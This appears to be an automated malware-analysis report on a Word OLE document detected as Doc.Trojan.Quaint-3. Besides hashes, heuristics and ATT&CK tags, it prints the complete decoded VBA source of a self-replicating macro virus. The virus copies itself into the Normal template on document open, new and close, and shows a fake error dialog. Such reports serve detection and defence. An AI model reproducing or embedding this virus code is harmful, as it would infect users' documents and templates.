Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25ed8ef8140e0f1c…

MALICIOUS

Office (OLE)

32.5 KB Created: 2001-04-17 00:04:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 8aef11f5680c9cf8fb8ad15efda1ebf3 SHA-1: 22acaa02abcb5ee08a5ec4bde2c3a8202876b9cb SHA-256: 25ed8ef8140e0f1cf165e55e52f8177c0245aaa7e8e16350c1983d1064877b8e
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is designed to execute automatically when the document is opened. This macro attempts to modify the Normal template, likely to establish persistence by ensuring the malicious code runs on subsequent document openings or potentially on system startup. The macro also includes logic to save the document to 'C:\My Documents\' and displays a fake error message under certain conditions. The ClamAV detection 'Doc.Trojan.Quaint-3' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Quaint-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quaint-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1388 bytes
SHA-256: 128b93321f243a645b085ac12084776b41c23bfb50e0206955774f266dddb980
Detection
ClamAV: Doc.Trojan.Quaint-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Trinus
Private Sub Document_Open(): Dim a, b, c: On Error Resume Next
jedan = jedan + 1: Set b = MacroContainer
If ThisDocument = ActiveDocument Then Set host = NormalTemplate Else Set host = ActiveDocument
If b.VBProject.vbcomponents(jedan).codemodule.lines(jedan, jedan) = "'Trinus" Then
        With b.VBProject.vbcomponents(jedan).codemodule
        c = .lines(1, .countoflines)
        End With
End If
If host.VBProject.vbcomponents(jedan).codemodule.lines(jedan, jedan) <> "'Trinus" Then
    If host.VBProject.vbcomponents(jedan).codemodule.countoflines <> 26 Then
        host.VBProject.vbcomponents(jedan).codemodule.deletelines 1, jedan
        host.VBProject.vbcomponents(jedan).codemodule.addfromstring c
    End If
End If
ActiveDocument.SaveAs "C:\My Documents" & "\" & Application.UserName
If Day(Now()) = 7 Then
MsgBox "Word Internal System Error! CRC32:34#", vbCritical, "MS WORD!"
End If 'WM.Trinus by e[ax]::greetz to all ppl on #vxtrader and #vxers
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Close()
Document_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.